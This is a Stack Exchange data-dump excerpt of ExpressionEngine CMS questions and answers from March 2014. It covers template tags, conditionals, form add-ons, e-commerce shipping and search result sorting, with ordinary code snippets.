  <row Id="20079" PostTypeId="1" CreationDate="2014-03-07T16:25:28.240" Score="0" ViewCount="2755" Body="&lt;p&gt;When entering text in a Rich Text field it is sometimes desirable to have a soft return — ie. a simple line break within the paragraph rather than starting a new paragraph. In many situations (including EllisLab's own forums) a shift-return keyboard combo will give this result — but not in EE's RTE, where it starts a new para.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typing &amp;lt;br&amp;gt; will generally achieve the desired result (although it's clunky and sometimes needs the entry to be submitted more than once before the line breaks registers as behind-the-scenes html). But if clients want an RTE field it's generally because they don't &lt;em&gt;want&lt;/em&gt; to be typing HTML elements into their text — certainly not to achieve something as basic as a soft return/line break.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure that it is possible to create an RTE button for this but that process is not particularly simple for non-developers, and really shouldn't be required for such a basic function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something? Or is there really no simple way to insert a line break into a paragraph in the RTE?&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2014-05-19T14:38:04.870" Title="How does one get a ‘soft’ carriage return in a Rich Text field?" Tags="|rte|richtext|text-formatting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20080" PostTypeId="2" ParentId="20075" CreationDate="2014-03-07T17:13:09.980" Score="1" Body="&lt;p&gt;Based on the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/#error-my-field-name&quot; rel=&quot;nofollow&quot;&gt;Docs&lt;/a&gt;, you need to use a different syntax for &lt;code&gt;error_handling=&quot;inline&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{error:your_channel_field_name}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or if you don't want it inline&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if error}&#xA;  {error}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="1931" LastEditDate="2014-03-08T01:50:02.810" LastActivityDate="2014-03-08T01:50:02.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20081" PostTypeId="1" AcceptedAnswerId="20086" CreationDate="2014-03-07T17:46:34.013" Score="1" ViewCount="59" Body="&lt;p&gt;so I am trying to use a dynamic variable, this works&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{member_id}   &#xA;{exp:channel:entries channel=&quot;vacancies&quot; author_id=&quot;9&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this does not&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {member_id}&#xA;    {exp:channel:entries channel=&quot;vacancies&quot; author_id=&quot;{member_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas&lt;/p&gt;&#xA;" OwnerUserId="2616" LastActivityDate="2014-03-07T18:40:03.530" Title="using globals in channel entry tag" Tags="|channel-entries|channel|variable|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20082" PostTypeId="1" CreationDate="2014-03-07T18:06:03.953" Score="1" ViewCount="1485" Body="&lt;p&gt;I am trying to show an active class if an entry is being viewed but my conditional's are not working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if last_segment == '{url_title'}  class=&quot;active&quot;  {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using an embed of a list of entries on a product detail page.  I want the active entry to have a class of active&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not working even though last_segment and url_title are the same&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is my embeded template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;products&quot; category=&quot;{segment_3_category_id}&quot;}&#xA;&#xA;    &amp;lt;li {if last_segment == '{url_title}'} class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{title_permalink='Products/detail/{segment_3}/{segment_4}'}&quot;&amp;gt;{title} &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2014-03-07T18:10:31.107" Title="if last segment equals url title" Tags="|conditionals|segments|url-title|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20083" PostTypeId="2" ParentId="20082" CreationDate="2014-03-07T18:10:31.107" Score="2" Body="&lt;p&gt;solved: &lt;code&gt;{if url_title == &quot;{last_segment}&quot;} class=&quot;active&quot;{/if}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="451" LastActivityDate="2014-03-07T18:10:31.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20084" PostTypeId="1" AcceptedAnswerId="20202" CreationDate="2014-03-07T18:27:35.910" Score="2" ViewCount="138" Body="&lt;p&gt;I have found that topic &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/182/expresso-store-add-free-shipping-when-an-orders-subtotal-is-over-an-certain-a&quot;&gt;Expresso Store - Add free shipping when an order&amp;#39;s subtotal is over an certain amount?&lt;/a&gt; but it looks like is not relevant to current Expresso Store and UPS or FedEx shipping method add-ons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to deactivate or force to do not count shipping on both methods?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-03-12T03:30:02.620" Title="Expresso Store - UPS and FedEx shipping methods and free shipping after X amount" Tags="|expresso-store|ups-shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20086" PostTypeId="2" ParentId="20081" CreationDate="2014-03-07T18:40:03.530" Score="1" Body="&lt;p&gt;Install Mo'Variables &lt;a href=&quot;http://devot-ee.com/add-ons/mo-variables&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/mo-variables&lt;/a&gt; then you could use:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Early-parsed Member Variables (for use as tag paramters):&#xA;  {logged_in_member_id}, {logged_in_group_id}, {logged_in_username},&#xA;  {logged_in_screen_name}, {logged_in_email}&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hope it helps&lt;/p&gt;&#xA;" OwnerUserId="281" LastActivityDate="2014-03-07T18:40:03.530" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20087" PostTypeId="1" AcceptedAnswerId="20201" CreationDate="2014-03-07T18:42:41.783" Score="1" ViewCount="197" Body="&lt;p&gt;I have added and enabled UPS Shipping add-on for Expresso Store, configured all settings but it seems not working in a current (even store_example) checkout flow. Described below how to reproduce that issue.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;During the checkout process on the /checkout page there will be no&#xA;  shipping methods available on the drop down. Then I went to &quot;Continue&#xA;  Billing Details&quot;, typed all my billing/shipping details and clicked on&#xA;  &quot;Review Order&quot;. From the Confirm Order screen I clicked on Back button&#xA;  and then Back again to /checkout page and now I have got Shipping&#xA;  methods available, but when new cart is created Shipping methods are&#xA;  gone again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any clue what is going on there? So far now word from Expresso Store dev team on that issue and it is kind of serious stuck for me (shipping comes as 0 each time when customer follow checkout steps).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-03-12T01:42:32.130" Title="Expresso Store + UPS Shipping add-on - shipping method is not showing up during checkout process" Tags="|expresso-store|ups-shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20089" PostTypeId="2" ParentId="19888" CreationDate="2014-03-07T19:04:07.380" Score="0" Body="&lt;p&gt;You also can do this is pure CSS using the CSS3 nth-child pseudo selector.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#yourtableid tr:nth-child(odd) {&#xA;  background-color: #99ff99;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="210" LastActivityDate="2014-03-07T19:04:07.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20090" PostTypeId="1" AcceptedAnswerId="20119" CreationDate="2014-03-07T19:54:15.743" Score="0" ViewCount="228" Body="&lt;p&gt;I'd like a simple ecommerce solution, but don't want to use PayPal. I already have authorize.net set up, so I would rather use that option. Simple Commerce seems to be designed to work around PayPal. Is there a way to make it work with authorize.net? Are there alternative solutions to Simple Commerce that do not cost?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-03-09T19:06:27.450" Title="Simple Commerce - don't want to use PayPal" Tags="|simple-commerce|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20091" PostTypeId="2" ParentId="19921" CreationDate="2014-03-07T23:49:24.913" Score="1" Body="&lt;p&gt;Currently there is no way to do this but to edit the addon files yourself. You could try around line 4028 of &lt;code&gt;mod.calendar.php&lt;/code&gt;, close to where you see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$E-&amp;gt;setProperty('summary', $title);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;adding another line that looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$E-&amp;gt;setProperty('X-WR-CALNAME', $title);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should in theory add the line you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to that article anything starting with an 'X-' is a non-standard, and being thus I am hesitant to add this as default as people use Calendar in so many different environments and icalendar file reading implementations are fickle enough as it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added a feature request to our queue to have some way in icalendar output to add custom attributes via parameters to the tag so in some future version this might be more easily doable.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-03-07T23:49:24.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20092" PostTypeId="2" ParentId="19990" CreationDate="2014-03-08T01:32:29.630" Score="1" Body="&lt;p&gt;I tested this and it works just fine. Be sure to include the &lt;code&gt;title&lt;/code&gt; input with valid data. If you're still having trouble, be sure to check the console log &lt;code&gt;data&lt;/code&gt; object. If you dig around you'll probably find the pertinent error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt; ... &amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;{exp:channel:form channel=&quot;your_channel&quot; json=&quot;yes&quot;}&#xA;    &amp;lt;input id=&quot;title&quot; name=&quot;title&quot; /&amp;gt;&#xA;    {field:your_file_upload_channel_field}&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;{/exp:channel:form}&#xA;&#xA;&amp;lt;script src=&quot;https://code.jquery.com/jquery.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script src=&quot;/path/to/jquery.form.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;{!-- jquery.form.js can be found at http://malsup.github.io/jquery.form.js --}&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(document).ready(function() {&#xA;        $('#publishForm').ajaxForm({&#xA;            dataType: 'json',&#xA;            success: function(data) {&#xA;                if (data.success) {&#xA;                    // success!&#xA;                } else {&#xA;                    console.log(data);&#xA;                }&#xA;            }&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, because you didn't specify, be sure you're using an instance of EE that supports Channel Form instead of Safecracker. I just checked the docs to 2.7.3 and it looks like files upload in Channel Form were included in 2.7.*. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The File fieldtype is now compatible with Channel Form.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So if you have an instance that's older, file upload via channel form might not work.&lt;/p&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="1931" LastEditDate="2014-03-08T01:42:32.803" LastActivityDate="2014-03-08T01:42:32.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20094" PostTypeId="2" ParentId="20071" CreationDate="2014-03-08T03:26:16.270" Score="2" Body="&lt;p&gt;Let's take the &lt;code&gt;user_notification_template=&quot;&quot;&lt;/code&gt; parameter as an example, and your two languages: &lt;code&gt;en&lt;/code&gt; and &lt;code&gt;de&lt;/code&gt;. (This would work for &lt;code&gt;admin_notification_template=&quot;&quot;&lt;/code&gt; and &lt;code&gt;recipient_user_template=&quot;&quot;&lt;/code&gt; as well)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, create two notification templates in Freeform (&lt;em&gt;Notifications&lt;/em&gt; tab in the Freeform CP), one in each language. Let's call their short names &lt;code&gt;user_email_en&lt;/code&gt; and &lt;code&gt;user_email_de&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your template, in either &lt;code&gt;{exp:freeform:form}&lt;/code&gt; or &lt;code&gt;{exp:freeform:composer}&lt;/code&gt; tags (whatever one you are using), add the &lt;code&gt;user_notification_template=&quot;&quot;&lt;/code&gt; parameter, with an &lt;strong&gt;early-parsed conditional&lt;/strong&gt; as its value. Here are a few different ways you would use the parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user_notification_template=&quot;{if segment_1 == 'en'}user_email_en{/if}{if segment_1 == 'de'}user_email_de{/if}&#xA;user_notification_template=&quot;{if segment_1}user_email_{segment_1}{/if}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you registered an early global variable in &lt;strong&gt;index.php&lt;/strong&gt; (eg. &lt;code&gt;{country_code}&lt;/code&gt;), you could do the same as the above, but with that variable. Eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;user_notification_template=&quot;{if country_code == 'en'}user_email_en{/if}{if country_code == 'de'}user_email_de{/if}&#xA;user_notification_template=&quot;{if country_code}user_email_{country_code}{/if}&quot;&#xA;user_notification_template=&quot;user_email_{country_code}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: Please make sure to use an &lt;strong&gt;early-parsed conditional&lt;/strong&gt; and NOT an &lt;strong&gt;advanced conditional&lt;/strong&gt; (eg. containing {if:else} or {if:elseif}, using AND/OR operators, etc). Only early-parsed conditionals can work in parameters. Please refer to the EE documentation about parse order for more details.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-03-08T03:26:16.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20095" PostTypeId="1" CreationDate="2014-03-08T09:47:34.773" Score="0" ViewCount="58" Body="&lt;p&gt;I trying to get solspace form to add users to a mailing list, but no cigar. using the latest free version. any help is appreciated. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form form_name=&quot;mailing_list&quot; mailinglist=&quot;blog&quot; return=&quot;contact/thank_you&quot; notify=&quot;xx@gmail.com&quot; required=&quot;email&quot;} &#xA;&amp;lt;form action=&quot;&quot; id=&quot;contactForm&quot; type=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;email&quot; name=&quot;blog[2]&quot; value=&quot;&quot; data-msg-required=&quot;Please enter your email address.&quot;  maxlength=&quot;100&quot; class=&quot;form-control&quot; id=&quot;email&quot;&amp;gt;&#xA;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Send Message&quot;&amp;gt;&#xA;&#xA;{/exp:freeform:form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2826" LastEditorUserId="197" LastEditDate="2014-03-10T16:53:45.057" LastActivityDate="2014-03-10T16:53:45.057" Title="Using Solspace Form to add users to a mailing list" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20096" PostTypeId="2" ParentId="20079" CreationDate="2014-03-08T12:24:32.297" Score="0" Body="&lt;p&gt;Hold down the Shift key when you hit Return in practically any text field and you should get a soft carriage return.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2014-03-08T12:24:32.297" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20097" PostTypeId="1" AcceptedAnswerId="20098" CreationDate="2014-03-08T13:26:49.730" Score="0" ViewCount="67" Body="&lt;p&gt;I've created an external &quot;admin&quot; page, but added a &quot;Return to CMS&quot; link .When this is clicked it redirects back to the EE admin page BUT it's logged me out and the URL is something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://website.com/admin.php?S=0&amp;amp;D=cp&amp;amp;C=login&amp;amp;return=Qz1hZGRvbnNfbW9kdWxlcyZhbXA7TT1zaG93X21vZHVsZV9jcCZhbXA7bW9kdWxlPWxvd192YXJpYWJsZXM=&quot; rel=&quot;nofollow&quot;&gt;http://website.com/admin.php?S=0&amp;amp;D=cp&amp;amp;C=login&amp;amp;return=Qz1hZGRvbnNfbW9kdWxlcyZhbXA7TT1zaG93X21vZHVsZV9jcCZhbXA7bW9kdWxlPWxvd192YXJpYWJsZXM=&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to link back to the CMS, but still be logged in? Because it seems to be logging me out.&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2014-03-08T14:22:37.537" Title="Problem: Linking to specific CMS page from external page" Tags="|login|redirects|admin|admin.php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20098" PostTypeId="2" ParentId="20097" CreationDate="2014-03-08T14:22:37.537" Score="1" Body="&lt;p&gt;Try to change the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/security_settings.html#control-panel-session-type&quot; rel=&quot;nofollow&quot;&gt;Control Panel Session Type&lt;/a&gt; to &lt;strong&gt;Cookie only&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-03-08T14:22:37.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20099" PostTypeId="1" AcceptedAnswerId="20100" CreationDate="2014-03-08T14:45:56.110" Score="1" ViewCount="203" Body="&lt;p&gt;We've got two channel, Images and Videos, that we're combining in search results. Searching by keyword works great. So does sorting by entry_date and title. But we'd also like to sort by other fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To simplify things, imagine a custom field in each channel - video_score, image_score - that hold integers received from elsewhere. So, how would it be possible to combine these two for the orderby?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's easier we can create fields video_order and image_order with unique ordering numbers, but due to the custom fields being in two channels I don't see how to use the same custom field name, which appears to be what we need for orderby.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do we maybe need to hijack a core field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Paul&lt;/p&gt;&#xA;" OwnerUserId="942" LastEditorUserId="942" LastEditDate="2014-03-08T18:01:24.150" LastActivityDate="2014-03-08T18:01:24.150" Title="Sorting Low Search results across multiple channels" Tags="|low-search|sort|orderby|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20100" PostTypeId="2" ParentId="20099" CreationDate="2014-03-08T16:04:44.917" Score="1" Body="&lt;p&gt;One way to do this would be to create a custom extension that uses &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/hooks#low_search_post_search&quot; rel=&quot;nofollow&quot;&gt;the low_search_post_search hook&lt;/a&gt;. That will give you an array containing all parameters that will be passed through to the native channel:entries tag for parsing the results. That includes the entry_id or fixed_order parameter which contains the entry IDs for the search results (as long as &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters&quot; rel=&quot;nofollow&quot;&gt;a LS filter&lt;/a&gt; has been triggered).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that list of IDs, you can query the DB for the values you want to sort by, and then re-sort the entry IDs based on those values. If you then set the fixed_order param with the newly sorted list, the search results should appear in the desired order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way would be to create a fieldtype that hijacks a core field (as you suggested) &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/entry_tracking.html&quot; rel=&quot;nofollow&quot;&gt;like view_count_one to four&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-03-08T16:04:44.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20102" PostTypeId="1" AcceptedAnswerId="20115" CreationDate="2014-03-08T19:38:19.680" Score="3" ViewCount="138" Body="&lt;p&gt;I'm installing my first 2.8 on a local machine, and noticed that the Field Options aren't showing up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I retraced the steps and it turns out installing latest version of Matrix (2.5.10) breaks Field Options (i.e., FO stops showing up.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only CP related add-on I have is NSM's Override.css. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else encountered a similar issue?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2014-06-12T16:30:10.607" Title="Matrix breaks Field Options on 2.8?" Tags="|matrix|control-panel|2.8|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20104" PostTypeId="1" AcceptedAnswerId="20120" CreationDate="2014-03-08T20:39:14.553" Score="2" ViewCount="214" Body="&lt;p&gt;I would like to match both production and development versions to have identical category ID's without having to import the db every time. In this case it's only one Category which is out of Sync. (category ID 130 should be 137)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which statement should I use on the db? (mysql noob)&lt;/p&gt;&#xA;" OwnerUserId="552" LastActivityDate="2014-05-09T11:38:39.077" Title="change category id manually" Tags="|database|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20105" PostTypeId="1" CreationDate="2014-03-08T22:09:43.997" Score="0" ViewCount="219" Body="&lt;p&gt;I am using the code below to display a list of items all with the same category, which works. &#xA;However the URL os not want I would like displayed. The URL shows as &lt;a href=&quot;http://vintageceramics.co/store/products/category/ceramics/264&quot; rel=&quot;nofollow&quot;&gt;http://vintageceramics.co/store/products/category/ceramics/264&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to remove the /264 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I do this? I have Low Seg2Cat installed, but I'm not sure how to use it in this case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would be most grateful if anyone can help. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;promotional&quot; status=&quot;open&quot; category=&quot;{last_segment}&quot; limit=&quot;4&quot;}&#xA;&amp;lt;div class=&quot;item {if count == 1}active{/if}&quot;&amp;gt; &amp;lt;!-- Start .item --&amp;gt;&#xA;{promo_product_image}&#xA;&amp;lt;img src=&quot;{image:url}&quot; alt=&quot;{image:title}&quot;&amp;gt;&#xA;{/promo_product_image}&#xA;&amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;carousel-caption&quot;&amp;gt;&#xA;&amp;lt;h1&amp;gt;{promo_main_title}&amp;lt;/h1&amp;gt;&#xA;&amp;lt;p&amp;gt;{promo_product_description}&amp;lt;/p&amp;gt;&#xA;{categories show_group=&quot;26|25|28&quot;}&#xA;&amp;lt;a class=&quot;btn btn-outline-white&quot; href=&quot;{path='store/products'}/{category_id}&quot; role=&quot;button&quot;&amp;gt;View Details&amp;lt;/a&amp;gt;&#xA;{/categories}&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- End .item --&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1650" LastActivityDate="2014-06-08T11:32:41.870" Title="Remove category URL last segment" Tags="|categories|url|low-seg2cat|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20107" PostTypeId="2" ParentId="20105" CreationDate="2014-03-08T22:57:15.477" Score="0" Body="&lt;p&gt;Well, you need to check if 'ceramics' is actually that 264 category, if it is, then you can remove the number at the end and replace {last_segment} in your Entries tag and use seg2cat {last_segment_category_id} tag, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;promotional&quot; status=&quot;open&quot; category=&quot;{last_segment_category_id}&quot; limit=&quot;4&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="281" LastActivityDate="2014-03-08T22:57:15.477" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20108" PostTypeId="1" CreationDate="2014-03-09T02:21:04.470" Score="2" ViewCount="130" Body="&lt;p&gt;I've recently installed the following CartThrob discount plug-in and it's not working.  I can't get it to add the free product &quot;Y&quot; to the Cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Buy X Get Y&lt;/strong&gt;&#xA;&lt;a href=&quot;https://github.com/CartThrob/cartthrob-discounts-buy_x_get_y&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/CartThrob/cartthrob-discounts-buy_x_get_y&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My discount settings...&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5CBVj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running EE Version 2.7 and CT 2.5.  Any help would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Darren&lt;/p&gt;&#xA;" OwnerUserId="2828" LastActivityDate="2014-05-02T09:11:24.850" Title="CartThrob: Discount Plug-In - Buy X Get Y not working" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20109" PostTypeId="2" ParentId="20095" CreationDate="2014-03-09T03:39:19.017" Score="1" Body="&lt;p&gt;Your input fields need to be structured similar to this one below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{freeform:field:email attr:type=&quot;email&quot; attr:class=&quot;form-control&quot; attr:placeholder=&quot;Your Email Address&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the example for the advanced form found here:&#xA;&lt;a href=&quot;http://www.solspace.com/docs/freeform/form/#advanced_contact_form&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/form/#advanced_contact_form&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1762" LastActivityDate="2014-03-09T03:39:19.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20110" PostTypeId="2" ParentId="20078" CreationDate="2014-03-09T03:56:40.330" Score="1" Body="&lt;p&gt;I've always used Solspace Super Search for all of my projects and never run into anything it couldn't do search related:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/software/detail/super_search/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/software/detail/super_search/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1762" LastActivityDate="2014-03-09T03:56:40.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20111" PostTypeId="2" ParentId="20078" CreationDate="2014-03-09T07:41:43.613" Score="1" Body="&lt;p&gt;While we're mentioning add-ons here, Low Search will do the job nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-search&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-03-09T07:41:43.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
